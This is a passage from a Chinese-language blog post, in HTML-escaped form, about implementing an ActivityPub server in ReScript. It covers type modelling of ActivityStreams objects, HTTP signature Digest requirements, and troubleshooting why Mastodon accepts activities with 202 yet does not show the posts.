&lt;p&gt;我最初确实用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Variant&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包裹&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Record，然后手写序列化反序列化。其实可以用，就是感觉难受——我用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因是它互操作方便，结果现在要我写样板代码。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;ReScript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&#x2F;&#x2F; 最初的Object.t类型&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; rec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; Object&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;({&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;      id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;      tpe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; typeName&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;      actor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;?:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;      object&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;?:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;      &#x2F;&#x2F; 省略&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    })&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; Id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;后来直接把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的类型给模糊掉了，从字符串到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;record&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都可以原封不动地转换过去。这有些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hack，但用起来让我舒服一些：现在可以像素级地表示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityStream
Object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了！&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;ReScript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;module&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; StringOption&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;&amp;#39;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  external&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; fromString&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;&amp;#39;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;%identity&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  external&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; wrap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; &amp;#39;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;&amp;#39;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;%identity&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  external&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; unwrap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;&amp;#39;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; &amp;#39;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;%identity&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  &#x2F;&#x2F; 省略&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&#x2F;&#x2F; 最后的Object.t类型&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; rec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  @&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;type&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; type_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; typeName&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  actor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;?:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  object&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;?:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; objectOrId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  &#x2F;&#x2F; 省略&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; objectOrId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; StringOption&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还有就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Activity
Vocabulary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;定义各种类型时是用继承描述的，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不支持继承。ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;倒是能“用编译期的复制粘贴”间接表达继承，但文档说不推荐使用。最后我只能把所有子类的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;property&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;option&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的形式写进父类里。&lt;&#x2F;p&gt;
&lt;p&gt;写这个程序时大部分时间都在想如何用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的类型系统完美表达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Activity
Vocabulary。最后放弃了，只是告诉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我会用到哪些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;property&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以及哪些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;property&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是可选的。&lt;&#x2F;p&gt;
&lt;p&gt;语法方面，其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还比较舒服。要是它能用缩进替代大括号、用方括号表示泛型、用下划线代替匿名函数的参数……也许下次我应该用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scala.js。&lt;&#x2F;p&gt;
&lt;p&gt;另外&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;官网的教程完全没提标准库的事。标准库文档也没多少解释，好多函数只告诉你类型是什么。可能这就是类型爱好者的语言吧。也有可能&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的用户都是从它的前身那里来的，所以不需要介绍。我是通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;link.springer.com&#x2F;book&#x2F;10.1007&#x2F;978-1-4842-8888-7&quot;&gt;Danny
Yang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的《Introducing
ReScript》&lt;&#x2F;a&gt;入门的。那本书有很多例子，适合初学者。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;不喜欢Ruby，但还是得读&quot;&gt;不喜欢&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ruby，但还是得读&lt;&#x2F;h4&gt;
&lt;p&gt;如果能读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ruby&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码的话，大可以看完&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Overview&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;部分，然后去读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;源码——只是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ruby&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;让我感到“非常に不安です&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，所以我不想读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;源码。&lt;&#x2F;p&gt;
&lt;p&gt;不过最后还是硬着头皮读了验证嘟文的代码。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;Signing_HTTP_Messages&quot;&gt;Signing HTTP Messages&lt;&#x2F;h4&gt;
&lt;p&gt;前面提到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gargron&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的教程稍有过时，它主要过时的点是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.joinmastodon.org&#x2F;spec&#x2F;security&#x2F;#digest&quot;&gt;现在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;强制要求&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;请求提供&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Digest&lt;&#x2F;a&gt;。那么哪里提到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Digest&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;格式了呢？在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc3230#section-4.3.2&quot;&gt;RFC
3230&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4.3.2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小节&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当然，最直接的方式是看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;如何验证&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Digest&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mastodon&#x2F;mastodon&#x2F;blob&#x2F;e73b55184b37e7f29e5bcb16c980dc8dbdb9a7d1&#x2F;app&#x2F;controllers&#x2F;concerns&#x2F;signature_verification.rb#L157&quot;&gt;signature_verification.rb:157&lt;&#x2F;a&gt;。目前它只支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SHA256，所以我们也不用支持别的。&lt;&#x2F;p&gt;
&lt;p&gt;有些验证签名的实现手写了简单&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser。我没这么做，只是用逗号和等号进行字符串分割。因为我的目标只是验证来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的信息，不是写十全十美的库。毕竟《Signing
HTTP Messages》还只是个草案。&lt;&#x2F;p&gt;
&lt;p&gt;另外来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的信息会附带“RsaSignature2017&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，这是过时的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LD
Signatures。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.joinmastodon.org&#x2F;spec&#x2F;security&#x2F;#ld&quot;&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不建议你实现这个&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;202_Accepted&quot;&gt;202 Accepted&lt;&#x2F;h4&gt;
&lt;p&gt;有时向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发送自己制造的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Activity&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会得到“202
Accepted”的反馈，但是嘟文就是显示不出来。&lt;&#x2F;p&gt;
&lt;p&gt;如果嘟文显示不出来，那肯定是哪里有问题。但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是异步处理嘟文的，所以只能回复代表“我接收到了，但我不保证你的操作能成功”的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;202。也就是说，只要签名验证成功了，Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;没法告诉你嘟文哪里出了问题。&lt;&#x2F;p&gt;
&lt;p&gt;一个可能的原因是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;snarfed&#x2F;bridgy-fed&#x2F;issues&#x2F;16#issuecomment-424799599&quot;&gt;object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Actor&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不在同一个域名下&lt;&#x2F;a&gt;。具体代码在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mastodon&#x2F;mastodon&#x2F;blob&#x2F;6e075b9cc4796ded65db4962c95518cc5eb762f7&#x2F;app&#x2F;lib&#x2F;activitypub&#x2F;activity&#x2F;create.rb#L8&quot;&gt;create.rb:8&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mastodon&#x2F;mastodon&#x2F;blob&#x2F;6e075b9cc4796ded65db4962c95518cc5eb762f7&#x2F;app&#x2F;lib&#x2F;activitypub&#x2F;activity&#x2F;create.rb#L269&quot;&gt;create.rb:209&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;链接里是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的代码，23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的代码把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;invalid_origin?&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的定义挪到别的文件了&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2023-07&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;注：奇怪的是，我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Accept
object&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一直就没加域名前缀，竟然可以被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;成功处理。直到我发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Calckey&#x2F;Misskey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上的账号没法关注自己的博客，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;owncast&#x2F;owncast&#x2F;issues&#x2F;1690#:~:text=Misskey%20doesn%27t%20like%20sending%20unresolved%20IRIs%20as%20the%20object%20even%20though%20Mastodon%20and%20Pleroma%20are%20fine%20with%20it.&quot;&gt;才发现这个问题&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;还有一个可能的原因是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mastodon&#x2F;mastodon&#x2F;issues&#x2F;16764&quot;&gt;Actor
id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不合法&lt;&#x2F;a&gt;。我最后发现我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Actor
id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写错网址了，可能因此没通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Actor&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;验证。&lt;&#x2F;p&gt;
&lt;p&gt;另外，如果你的嘟文完全正确，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还是不显示。那可以换个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;试试。Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会记住之前不成功的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id。根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;规范，Server&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要有去重功能。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;如何搜索到自己的Note&quot;&gt;如何搜索到自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;&#x2F;h4&gt;
